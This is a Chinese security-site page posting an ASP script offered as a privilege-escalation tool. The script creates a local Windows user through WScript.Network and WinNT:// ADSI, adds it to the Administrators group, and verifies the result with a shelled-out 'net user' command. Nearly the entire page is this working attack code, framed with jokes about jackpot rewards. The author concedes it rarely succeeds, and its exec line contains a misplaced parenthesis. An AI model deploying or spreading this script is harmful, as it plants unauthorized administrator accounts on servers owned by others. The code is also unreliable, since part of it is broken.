当前位置:>服务器安全>

asp提权—添加超级用户的asp代码



在user权限下成功添加Administrators组的用户
反正代码是对的,但是很少能成功,具体的看运气了。。


<head>.network对象脚本权限提升漏洞利用工具</head>
<
form action="useradd.asp" method=post
>
用户:<input name="username" type="text" value="kevin1986"><br
>
密码:<input name="passwd" type="password"><br
>
<
input type="submit" Value="添 加"
>
</
form
>

<%@
codepage=936
%>
<%
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" 
then
response
.write 
"iP !s n0T RiGHt"
else
if 
request("username")<>"" 
then
username
=request("username"
)
passwd=request("passwd"
)
Response.Expires=
0
Session
.TimeOut=
50
Server
.ScriptTimeout=
3000
set lp
=Server.CreateObject("WSCRIPT.NETWORK"
)
oz="WinNT://"&lp.
ComputerName
Set ob
=GetObject(oz
)
Set oe=GetObject(oz&"/Administrators,group"
)
Set od=ob.Create("user",username
)
od.
SetPassword passwd
od
.
SetInfo
oe
.Add oz&"/"&
username
if 
err then
response
.write 
"哎~~今天你还是别买6+1了&hellip;&hellip;省下2元钱买瓶可乐也好&hellip;&hellip;"
else
if 
instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>
0 then
response
.write 
"虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&
"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end 
if
end 
if
else
response.write 
"请输入输入用户名"
end 
if
end 
if
%>

来源:互联网 编辑:小白兔

上一篇:后门技术及rootkit工具-Knark分析及防范   下一篇:MSSQLCracker in ASP[asp提权]

关键字

本类最新